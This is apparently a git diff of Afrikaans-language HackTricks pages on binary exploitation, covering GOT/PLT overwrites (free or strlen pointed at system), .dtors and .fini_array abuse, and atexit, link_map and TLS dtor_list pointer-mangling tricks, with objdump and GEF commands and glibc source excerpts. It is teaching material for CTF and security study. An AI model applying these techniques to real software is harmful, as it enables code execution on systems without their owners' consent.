* **Sluit aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}
## **Basiese Inligting**
### **GOT: Globale Verskuiwingstabel**
Die **Globale Verskuiwingstabel (GOT)** is 'n meganisme wat gebruik word in dinamies gekoppelde bineêre lêers om die **adresse van eksterne funksies** te bestuur. Aangesien hierdie **adresse nie bekend is tot tyd van uitvoering** (as gevolg van dinamiese koppeling nie), bied die GOT 'n manier om die adresse van hierdie eksterne simbole **dinamies by te werk sodra hulle opgelos is**.
Die **Globale Verskuiwingstabel (GOT)** is 'n meganisme wat gebruik word in dinamies gekoppelde bineêre lêers om die **adresse van eksterne funksies** te bestuur. Aangesien hierdie **adresse nie bekend is tot tyd van uitvoering** (as gevolg van dinamiese koppeling), bied die GOT 'n manier om die **adresse van hierdie eksterne simbole dinamies by te werk** sodra hulle opgelos is.
Elke inskrywing in die GOT stem ooreen met 'n simbool in die eksterne biblioteke wat die bineêre lêer mag aanroep. Wanneer 'n **funksie vir die eerste keer geroep word, word sy werklike adres opgelos deur die dinamiese koppelaar en in die GOT gestoor**. Volgende oproepe na dieselfde funksie gebruik die adres wat in die GOT gestoor is, en vermy dus die oorhoofse van die adres weer op te los.
Elke inskrywing in die GOT stem ooreen met 'n simbool in die eksterne biblioteke wat die bineêre lêer mag aanroep. Wanneer 'n **funksie vir die eerste keer geroep word, word sy werklike adres opgelos deur die dinamiese koppelaar en in die GOT gestoor**. Daaropvolgende oproepe na dieselfde funksie gebruik die adres wat in die GOT gestoor is, en vermy dus die oorhoofse van die adres wat weer opgelos moet word.
### **PLT: Prosedure Koppelings Tabel**
@ -36,7 +37,7 @@ Kry die adres van die GOT-tabel met: **`objdump -s -j .got ./exec`**
![](<../../.gitbook/assets/image (121).png>)
Let op hoe na **die laai** van die **uitvoerbare** in GEF jy die **funksies** kan **sien** wat in die **GOT** is: `gef➤ x/20x 0xADDR_GOT`
Let op hoe na die **laai** van die **uitvoerbare** in GEF jy die **funksies** kan **sien** wat in die **GOT** is: `gef➤ x/20x 0xADDR_GOT`
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
@ -46,11 +47,11 @@ Met GEF kan jy 'n **foutopsporing**-sessie begin en **`got`** uitvoer om die got
### GOT2Exec
In 'n bineêre lêer het die GOT die **adresse van die funksies of** van die **PLT**-afdeling wat die funksie-adres sal laai. Die doel van hierdie willekeurige skryf is om 'n GOT-inskrywing te **oorheers van 'n funksie wat later uitgevoer gaan word **met** die **adres** van die PLT van die **`system`** **funksie** byvoorbeeld.
In 'n bineêre lêer het die GOT die **adresse na die funksies of** na die **PLT**-afdeling wat die funksie-adres sal laai. Die doel van hierdie willekeurige skryf is om 'n GOT-inskrywing te **oorheers van 'n funksie wat later uitgevoer gaan word **met** die **adres** van die PLT van die **`system`** **funksie** byvoorbeeld.
Ideaal gesproke sal jy die **GOT** van 'n **funksie oorskryf** wat **geroep gaan word met parameters wat deur jou beheer word** (sodat jy die parameters wat na die stelsel funksie gestuur word, kan beheer).
Ideaal gesproke sal jy die **GOT** van 'n **funksie oorskryf** wat **geroep gaan word met deur jou beheerde parameters** (sodat jy die parameters wat na die stelsel funksie gestuur word, kan beheer).
As **`system`** **nie deur die bineêre lêer gebruik word nie**, sal die stelsel funksie **nie 'n inskrywing in die PLT hê nie**. In hierdie scenario sal jy **eerstens die adres moet lek** van die `system` funksie en dan die GOT moet oorskryf om na hierdie adres te verwys.
As **`system`** **nie deur die bineêre lêer gebruik word nie**, sal die stelsel funksie **nie 'n inskrywing in die PLT hê nie**. In hierdie scenario sal jy **eerstens die adres moet lek** van die `system`-funksie en dan die GOT moet oorskryf om na hierdie adres te verwys.
Jy kan die PLT-adresse sien met **`objdump -j .plt -d ./vuln_binary`**
@ -62,17 +63,17 @@ Gewone funksies van die libc gaan **ander interne funksies** aanroep waarvan die
Vind [**meer inligting oor hierdie tegniek hier**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
## **Free2system**
### **Free2system**
In hoop-uitbuiting CTF's is dit algemeen om die inhoud van stukke te kan beheer en op 'n stadium selfs die GOT-tabel te kan oorskryf. 'n Eenvoudige truuk om RCE te kry as een gadgets nie beskikbaar is nie, is om die `free` GOT-adres te oorskryf om na `system` te wys en binne 'n stukkie `"/bin/sh"` te skryf. Op hierdie manier, wanneer hierdie stukkie vrygelaat word, sal dit `system("/bin/sh")` uitvoer.
In heap-uitbuiting CTF's is dit algemeen om die inhoud van stukke te kan beheer en op 'n stadium selfs die GOT-tabel te oorskryf. 'n Eenvoudige truuk om RCE te kry as een gadgets nie beskikbaar is nie, is om die `free` GOT-adres te oorskryf om na `system` te wys en binne 'n stuk `"/bin/sh"` te skryf. Op hierdie manier, wanneer hierdie stuk vrygelaat word, sal dit `system("/bin/sh")` uitvoer.
## **Strlen2system**
### **Strlen2system**
'n Ander algemene tegniek is om die **`strlen`** GOT-adres te oorskryf om na **`system`** te wys, sodat as hierdie funksie met gebruikerinvoer geroep word, dit moontlik is om die string `"/bin/sh"` te stuur en 'n skaal te kry.
'n Ander algemene tegniek is om die **`strlen`** GOT-adres te oorskryf om na **`system`** te wys, sodat as hierdie funksie met gebruikersinvoer geroep word, dit moontlik is om die string `"/bin/sh"` te stuur en 'n skaal te kry.
Verder, as `puts` met gebruikerinvoer gebruik word, is dit moontlik om die `puts` GOT-adres te oorskryf om na `system` te wys en die string `"/bin/sh"` te stuur om 'n skaal te kry omdat **`puts` `strlen` met die gebruikerinvoer sal roep**.
Verder, as `puts` met gebruikersinvoer gebruik word, is dit moontlik om die `strlen` GOT-adres te oorskryf om na `system` te wys en die string `"/bin/sh"` te stuur om 'n skaal te kry omdat **`puts` `strlen` met die gebruikersinvoer sal roep**.
## **One Gadget**
## **Een Gadget**
{% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %}
[one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md)
@ -80,8 +81,8 @@ Verder, as `puts` met gebruikerinvoer gebruik word, is dit moontlik om die `puts
## **Misbruik van GOT vanaf Heap**
'n Gewone manier om RCE vanaf 'n hoop-kwesbaarheid te verkry, is om 'n fastbin te misbruik sodat dit moontlik is om die deel van die GOT-tabel in die fast bin in te sluit, sodat wanneer daardie stukkie toegewys word, dit moontlik sal wees om **die wyser van 'n funksie, gewoonlik `free`**, te oorskryf.\
Daarna, deur `free` na `system` te wys en 'n stukkie waarin geskryf is `/bin/sh\x00` vry te stel, sal dit 'n skaal uitvoer.
'n Gewone manier om RCE vanaf 'n heap-kwesbaarheid te verkry, is om 'n fastbin te misbruik sodat dit moontlik is om die deel van die GOT-tabel in die fast bin in te voeg, sodat wanneer daardie stuk toegewys word, dit moontlik sal wees om **die wyser van 'n funksie, gewoonlik `free`, te oorskryf**.\
Daarna, deur `free` na `system` te wys en 'n stuk waarin geskryf is `/bin/sh\x00` vry te stel, sal 'n skaal uitvoer.
Dit is moontlik om 'n [**voorbeeld hier te vind**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk\_extend\_overlapping/#hitcon-trainging-lab13)**.**
## **Beskerming**
@ -97,16 +98,17 @@ Die **Volle RELRO** beskerming is bedoel om teen hierdie soort tegniek te besker
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
# WWW2Exec - .dtors & .fini\_array
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## .dtors
{% hint style="danger" %}
Teenwoordig is dit baie **vreemd om 'n bineêre lêer met 'n .dtors-seksie te vind!**
Teenwoordig is dit baie **vreemd om 'n binêre lêer met 'n .dtors-seksie te vind!**
{% endhint %}
Die destruktore is funksies wat **uitgevoer word voordat die program eindig** (nadat die `main`-funksie terugkeer).\
Die adresse van hierdie funksies word binne die **`.dtors`**-afdeling van die bineêre lêer gestoor en daarom, as jy daarin slaag om die **adres** na 'n **shell-kode** in **`__DTOR_END__`** te **skryf**, sal dit **uitgevoer** word voordat die programme eindig.
Die adresse van hierdie funksies word binne die **`.dtors`**-afdeling van die binêre gestoor en daarom, as jy daarin slaag om die **adres** van 'n **shell-kode** in **`__DTOR_END__`** te **skryf**, sal dit **uitgevoer** word voordat die programme eindig.
Kry die adres van hierdie afdeling met:
```bash
@ -36,7 +37,7 @@ Natuurlik moet jy eers 'n **plek vind om die shellcode te stoor** sodat jy dit l
## **.fini\_array**
Essensieel is dit 'n struktuur met **funksies wat geroep sal word** voordat die program eindig, soos **`.dtors`**. Dit is interessant as jy jou **shellcode kan roep deur net na 'n adres te spring**, of in gevalle waar jy terug moet gaan na `main` om die kwesbaarheid **'n tweede keer te benut**.
Essensieel is dit 'n struktuur met **funksies wat geroep sal word** voordat die program eindig, soos **`.dtors`**. Dit is interessant as jy jou **shellcode kan roep deur net na 'n adres te spring**, of in gevalle waar jy terug moet gaan na `main` om die kwesbaarheid 'n tweede keer te **uitbuit**.
```bash
objdump -s -j .fini_array ./greeting
@ -47,34 +48,34 @@ Contents of section .fini_array:
#Put your address in 0x8049934
```
Merk op dat wanneer 'n funksie van die **`.fini_array`** uitgevoer word, beweeg dit na die volgende een, sodat dit nie verskeie kere uitgevoer sal word (om ewige lusse te voorkom nie), maar dit sal jou ook net 1 **uitvoering van die funksie** hier gee.
Let wel dat wanneer 'n funksie van die **`.fini_array`** uitgevoer word, beweeg dit na die volgende een, sodat dit nie verskeie kere uitgevoer sal word (om ewige lusse te voorkom nie), maar dit sal jou ook net 1 **uitvoering van die funksie** hier gee.
Merk op dat inskrywings in `.fini_array` in **omgekeerde** volgorde genoem word, so jy wil waarskynlik begin skryf van die laaste een af.
Let wel dat inskrywings in `.fini_array` in **omgekeerde** volgorde genoem word, so jy wil waarskynlik begin skryf van die laaste een af.
#### Ewige lus
Om **`.fini_array`** te misbruik om 'n ewige lus te kry, kan jy [**kyk wat hier gedoen is**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** As jy ten minste 2 inskrywings in **`.fini_array`** het, kan jy:
* Gebruik jou eerste skryf om die kwesbare willekeurige skryffunksie weer te **roep**
* Bereken dan die terugkeeradres in die stapel wat deur **`__libc_csu_fini`** gestoor word (die funksie wat al die `.fini_array`-funksies oproep) en sit daar die **adres van `__libc_csu_fini`**
* Gebruik jou eerste skryf om **die kwesbare willekeurige skryffunksie** weer te roep
* Bereken dan die terugkeeradres in die stapel wat deur **`__libc_csu_fini`** gestoor word (die funksie wat al die `.fini_array`-funksies aanroep) en sit daar die **adres van `__libc_csu_fini`**
* Dit sal maak dat **`__libc_csu_fini`** homself weer roep deur die **`.fini_array`**-funksies weer uit te voer wat die kwesbare WWW-funksie 2 keer sal roep: een vir **willekeurige skryf** en nog een om weer die **terugkeeradres van `__libc_csu_fini`** op die stapel te oorskryf om homself weer te roep.
{% hint style="danger" %}
Merk op dat met [**Volle RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** die afdeling **`.fini_array`** **alleen-lees** gemaak word.
Let daarop dat met [**Volle RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** die afdeling **`.fini_array`** **alleen-lees** gemaak word.
In nuwer weergawes, selfs met [**Gedeeltelike RELRO**] word die afdeling **`.fini_array`** ook **alleen-lees** gemaak.
{% endhint %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# WWW2Exec - atexit(), TLS Berging & Ander verminkte Aanwysers
# WWW2Exec - atexit(), TLS Storage & Ander verminkte Aanwysers
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## **\_\_atexit Strukture**
{% hint style="danger" %}
Tans is dit baie **vreemd om hierdie te benut!**
Tans is dit baie **vreemd om dit uit te buit!**
{% endhint %}
**`atexit()`** is 'n funksie waar **ander funksies as parameters oorgedra word.** Hierdie **funksies** sal **uitgevoer** word wanneer 'n **`exit()`** of die **terugkeer** van die **hooffunksie** uitgevoer word.\
As jy die **adres** van enige van hierdie **funksies kan wysig** om na 'n shell-kode byvoorbeeld te wys, sal jy beheer oor die **proses verkry**, maar dit is tans meer ingewikkeld.\
Tans is die **adresse van die funksies** wat uitgevoer moet word, **verskuil** agter verskeie strukture en uiteindelik is die adres waarna dit wys nie die adresse van die funksies nie, maar is **geënkripteer met XOR** en verskuiwings met 'n **willekeurige sleutel**. So is hierdie aanvalsvektor tans **nie baie nuttig ten minste op x86** en **x64\_86** nie.\
Die **enkripsiefunksie** is **`PTR_MANGLE`**. **Ander argitekture** soos m68k, mips32, mips64, aarch64, arm, hppa... **implementeer nie die enkripsie** funksie nie omdat dit dieselfde **teruggee** as wat dit as inset ontvang het. Dus sou hierdie argitekture vatbaar wees vir hierdie vektor.
**`atexit()`** is 'n funksie waar **ander funksies as parameters oorgedra word.** Hierdie **funksies** sal uitgevoer word wanneer 'n **`exit()`** uitgevoer word of die **terugkeer** van die **hooffunksie**.\
As jy die **adres** van enige van hierdie **funksies kan wysig** om na 'n shell-kode byvoorbeeld te wys, sal jy beheer oor die **proses kry**, maar dit is tans meer ingewikkeld.\
Tans is die **adresse van die funksies** wat uitgevoer moet word, **versteek** agter verskeie strukture en uiteindelik is die adres waarna dit wys nie die adresse van die funksies nie, maar is **versleutel met XOR** en verskuiwings met 'n **willekeurige sleutel**. Dus is hierdie aanvalsvektor tans **nie baie nuttig ten minste op x86** en **x64\_86** nie.\
Die **versleutelingsfunksie** is **`PTR_MANGLE`**. **Ander argitekture** soos m68k, mips32, mips64, aarch64, arm, hppa... **implementeer nie die versleuteling**-funksie nie omdat dit dieselfde teruggee as wat dit as inset ontvang het. Dus sou hierdie argitekture vatbaar wees vir hierdie vektor.
Jy kan 'n diepgaande verduideliking vind oor hoe dit werk by [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
## link\_map
Soos verduidelik [**in hierdie pos**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), As die program afsluit deur `return` of `exit()` te gebruik, sal dit `__run_exit_handlers()` hardloop wat geregistreerde destruktore sal aanroep.
Soos verduidelik [**in hierdie pos**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), As die program afsluit deur `return` of `exit()` te gebruik, sal dit `__run_exit_handlers()` hardloop wat geregistreerde vernietigers sal roep.
{% hint style="danger" %}
As die program afsluit via **`_exit()`** funksie, sal dit die **`exit` syscall** aanroep en die afsluit handlers sal nie uitgevoer word nie. Dus, om te bevestig dat `__run_exit_handlers()` uitgevoer word, kan jy 'n breekpunt daarop stel.
As die program afsluit via **`_exit()`**-funksie, sal dit die **`exit`-systaalaanroep** roep en die afsluit-handelaars sal nie uitgevoer word nie. Om te bevestig dat `__run_exit_handlers()` uitgevoer word, kan jy 'n breekpunt daarop stel.
{% endhint %}
Die belangrike kode is ([bron](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
@ -75,9 +76,9 @@ if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
In hierdie geval sou dit moontlik wees om die waarde van `map->l_info[DT_FINI]` te oorskryf om te wys na 'n vervalsde `ElfW(Dyn)` struktuur. Vind [**meer inligting hier**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).
In hierdie geval sou dit moontlik wees om die waarde van `map->l_info[DT_FINI]` te oorskryf wat na 'n vervalsde `ElfW(Dyn)` struktuur wys. Vind [**meer inligting hier**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).
## TLS-Stoor dtor\_lys oorskryf in **`__run_exit_handlers`**
## TLS-Opslag dtor\_lys oorskryf in **`__run_exit_handlers`**
Soos [**hier verduidelik**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), as 'n program afsluit via `return` of `exit()`, sal dit **`__run_exit_handlers()`** uitvoer wat enige vernietigersfunksie wat geregistreer is, sal aanroep.
@ -129,10 +130,10 @@ func (cur->obj);
```
Vir elke geregistreerde funksie in **`tls_dtor_list`**, sal dit die pointer vanaf **`cur->func`** demangle en dit oproep met die argument **`cur->obj`**.
Deur die **`tls`** funksie van hierdie [**fork van GEF**](https://github.com/bata24/gef) te gebruik, is dit moontlik om te sien dat die **`dtor_list`** eintlik baie **naby** aan die **stapel kanarie** en **PTR\_MANGLE koekie** is. Dus, met 'n oorvloei daarop sou dit moontlik wees om die **koekie** en die **stapel kanarie** te **owerwrite**.\
Deur die PTR\_MANGLE koekie te oorskryf, sou dit moontlik wees om die `PTR_DEMANLE` funksie te **omseil** deur dit in te stel op 0x00, wat beteken dat die **`xor`** wat gebruik word om die werklike adres te kry, net die gekonfigureerde adres is. Dan, deur te skryf na die **`dtor_list`** is dit moontlik om **verskeie funksies aan mekaar te skakel** met die funksie **adres** en sy **argument.**
Deur die **`tls`** funksie van hierdie [**fork van GEF**](https://github.com/bata24/gef) te gebruik, is dit moontlik om te sien dat die **`dtor_list`** baie **naby** aan die **stapel kanarie** en **PTR\_MANGLE koekie** is. Dus, met 'n oorvloei daarop sou dit moontlik wees om die **koekie** en die **stapel kanarie** te **owerwrite**.\
Deur die PTR\_MANGLE koekie te oorskryf, sou dit moontlik wees om die `PTR_DEMANLE` funksie te **verbygaan** deur dit in te stel op 0x00, wat beteken dat die **`xor`** wat gebruik word om die werklike adres te kry, net die gekonfigureerde adres is. Dan, deur te skryf na die **`dtor_list`** is dit moontlik om **verskeie funksies aan mekaar te koppel** met die funksie **adres** en sy **argument.**
Laastens, let daarop dat die gestoorde pointer nie net met die koekie ge-xor nie, maar ook 17 bietjies geroteer word:
Laastens, let daarop dat die gestoorde pointer nie net met die koekie ge-xor sal word nie, maar ook 17 bietjies geroteer sal word:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
@ -142,7 +143,7 @@ So jy moet hierdie in ag neem voordat jy 'n nuwe adres byvoeg.
Vind 'n voorbeeld in die [**oorspronklike pos**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite).
## Ander verminkte wysers in **`__run_exit_handlers`**
## Ander verminkte aanwysers in **`__run_exit_handlers`**
Hierdie tegniek word [**hier verduidelik**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) en hang weer af van die program wat **afsluit deur `return` of `exit()` te roep** sodat **`__run_exit_handlers()`** geroep word.
@ -228,11 +229,11 @@ free (cur);
__libc_lock_unlock (__exit_funcs_lock);
```
Die veranderlike `f` wys na die **`initial`** struktuur en afhangende van die waarde van `f->flavor` sal verskillende funksies aangeroep word.\
Afhanklik van die waarde sal die adres van die funksie om te roep op 'n ander plek wees, maar dit sal altyd **gedekodeer** wees.
Afhanklik van die waarde sal die adres van die funksie om te roep in 'n ander plek wees, maar dit sal altyd **gedekodeer** wees.
Verder, in die opsies **`ef_on`** en **`ef_cxa`** is dit ook moontlik om 'n **argument** te beheer.
Dit is moontlik om die **`initial` struktuur** in 'n foutopsporing-sessie met GEF wat hardloop **`gef> p initial`** te ondersoek.
Dit is moontlik om die **`initial` struktuur** in 'n foutopsporing-sessie met GEF hardloop **`gef> p initial`** te kontroleer.
Om hiervan misbruik te maak, moet jy ofwel die `PTR_MANGLE` koekie **lek of uitvee** en dan 'n `cxa` inskrywing in initial oorskryf met `system('/bin/sh')`.\
Jy kan 'n voorbeeld hiervan vind in die [**oorspronklike blogpos oor die tegniek**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).

View file

@ -1,18 +1,19 @@
# Array Indeksering
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
